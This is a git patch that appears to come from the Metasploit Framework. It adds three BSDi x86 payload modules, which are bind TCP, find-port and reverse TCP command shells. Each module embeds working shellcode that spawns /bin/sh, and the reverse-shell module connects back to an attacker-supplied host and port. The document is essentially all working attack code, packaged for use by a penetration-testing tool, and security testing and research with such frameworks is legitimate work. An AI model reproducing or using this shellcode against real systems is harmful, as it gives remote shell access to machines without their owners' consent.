From b66a1dae2d2e627f4a24840f4fb1934b6425ed5b Mon Sep 17 00:00:00 2001
From: Matt Miller <mmiller@hick.org>
Date: Tue, 11 Oct 2005 07:37:10 +0000
Subject: [PATCH] bsdi singles

git-svn-id: file:///home/svn/incoming/trunk@2959 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../singles/bsdi/x86/shell_bind_tcp.rb        | 44 +++++++++++++++++++
 .../singles/bsdi/x86/shell_find_port.rb       | 43 ++++++++++++++++++
 .../singles/bsdi/x86/shell_reverse_tcp.rb     | 44 +++++++++++++++++++
 3 files changed, 131 insertions(+)
 create mode 100644 modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb
 create mode 100644 modules/payloads/singles/bsdi/x86/shell_find_port.rb
 create mode 100644 modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb

diff --git a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb
new file mode 100644
index 0000000000..98a23f0ac7
--- /dev/null
+++ b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb
@@ -0,0 +1,44 @@
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+
+module Msf
+module Payloads
+module Singles
+module Bsdi
+module X86
+
+module ShellBindTcp
+
+	include Msf::Payload::Single
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'BSDi Command Shell, Bind TCP Inline',
+			'Version'       => '$Revision$',
+			'Description'   => 'Listen for a connection and spawn a command shell',
+			'Author'        => [ 'skape', 'optyx' ],
+			'Platform'      => 'bsdi',
+			'Arch'          => ARCH_X86,
+			'Handler'       => Msf::Handler::BindTcp,
+			'Session'       => Msf::Sessions::CommandShell,
+			'Payload'       =>
+				{
+					'Offsets' =>
+						{
+							'LPORT'    => [ 0x1f, 'n' ],
+						},
+					'Payload' =>
+						"\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" +
+						"\x31\xc0\x50\x40\x50\x40\x50\xb0\x61\xff\xd6\x52\x68\x10\x02\xbf" +
+						"\xbf\x89\xe3\x6a\x10\x53\x50\x6a\x68\x58\xff\xd6\xb0\x6a\xff\xd6" +
+						"\x59\x52\x52\x51\xb0\x1e\xff\xd6\x97\x6a\x02\x59\x6a\x5a\x58\x51" +
+						"\x57\xff\xd6\x49\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" +
+						"\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd6"
+				}
+			))
+	end
+
+end
+
+end end end end end
diff --git a/modules/payloads/singles/bsdi/x86/shell_find_port.rb b/modules/payloads/singles/bsdi/x86/shell_find_port.rb
new file mode 100644
index 0000000000..1ac3b0da8a
--- /dev/null
+++ b/modules/payloads/singles/bsdi/x86/shell_find_port.rb
@@ -0,0 +1,43 @@
+require 'msf/core'
+require 'msf/core/handler/find_port'
+require 'msf/base/sessions/command_shell'
+
+module Msf
+module Payloads
+module Singles
+module Bsdi
+module X86
+
+module ShellFindPort
+
+	include Msf::Payload::Single
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'BSDi Command Shell, Find Port Inline',
+			'Version'       => '$Revision$',
+			'Description'   => 'Spawn a shell on an established connection',
+			'Author'        => [ 'skape', 'optyx' ],
+			'Platform'      => 'bsdi',
+			'Arch'          => ARCH_X86,
+			'Handler'       => Msf::Handler::FindPort,
+			'Session'       => Msf::Sessions::CommandShell,
+			'Payload'       =>
+				{
+					'Offsets' =>
+						{
+							'CPORT' => [ 41, 'n' ],
+						},
+					'Payload' =>
+						"\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe7\x31\xf6" +
+						"\x83\xec\x10\x89\xe1\x6a\x10\x89\xe3\x46\x6a\x1f\x58\x53\x51\x56" +
+						"\xff\xd7\x83\xc4\x0c\x66\x81\x79\x02\x11\x5c\x75\xec\x6a\x02\x59" +
+						"\xb0\x5a\x51\x56\xff\xd7\x49\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68" +
+						"\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd7"
+				}
+			))
+	end
+
+end
+
+end end end end end
diff --git a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb
new file mode 100644
index 0000000000..242ccf88af
--- /dev/null
+++ b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb
@@ -0,0 +1,44 @@
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+
+module Msf
+module Payloads
+module Singles
+module Bsdi
+module X86
+
+module ShellReverseTcp
+
+	include Msf::Payload::Single
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'BSDi Command Shell, Reverse TCP Inline',
+			'Version'       => '$Revision$',
+			'Description'   => 'Connect back to attacker and spawn a command shell',
+			'Author'        => [ 'skape', 'optyx' ],
+			'Platform'      => 'bsdi',
+			'Arch'          => ARCH_X86,
+			'Handler'       => Msf::Handler::ReverseTcp,
+			'Session'       => Msf::Sessions::CommandShell,
+			'Payload'       =>
+				{
+					'Offsets' =>
+						{
+							'LHOST'    => [ 0x1c, 'ADDR' ],
+							'LPORT'    => [ 0x23, 'n'    ],
+						},
+					'Payload' =>
+						"\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" +
+						"\x52\x42\x52\x42\x52\x6a\x61\x58\xff\xd6\x97\x68\x7f\x00\x00\x01" +
+						"\x68\x10\x02\xbf\xbf\x89\xe3\x6a\x10\x53\x57\x6a\x62\x58\xff\xd6" +
+						"\xb0\x5a\x52\x57\xff\xd6\x4a\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68" +
+						"\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd6"
+				}
+		))
+	end
+
+end
+
+end end end end end